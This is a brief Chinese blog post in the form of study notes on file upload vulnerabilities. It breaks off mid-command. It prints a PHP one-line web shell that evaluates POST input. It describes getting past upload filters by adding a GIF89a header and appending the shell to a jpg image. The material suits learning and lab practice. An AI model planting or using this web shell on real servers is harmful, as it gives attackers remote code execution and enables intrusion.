weixin_45437468的博客

原创 文件上传漏洞学习

一句话木马<?php@eval($_POST[pass]);?>上传一句话木马文件的普通方式都不可以，发现可以上传jpg木马，jpg木马他也进行内容绕过，不能含有<?，但是可以构造其他的，然后还要添加GIF89a进行伪装；图片马制作Mac系统和Linux系统首先在桌面上创建file1.txt并在里面写入一句话木马，下载file2.jpg，然后，打开终端，cd 到desktop将file1.txt追加到file2.jpg后面的方法：cat file1.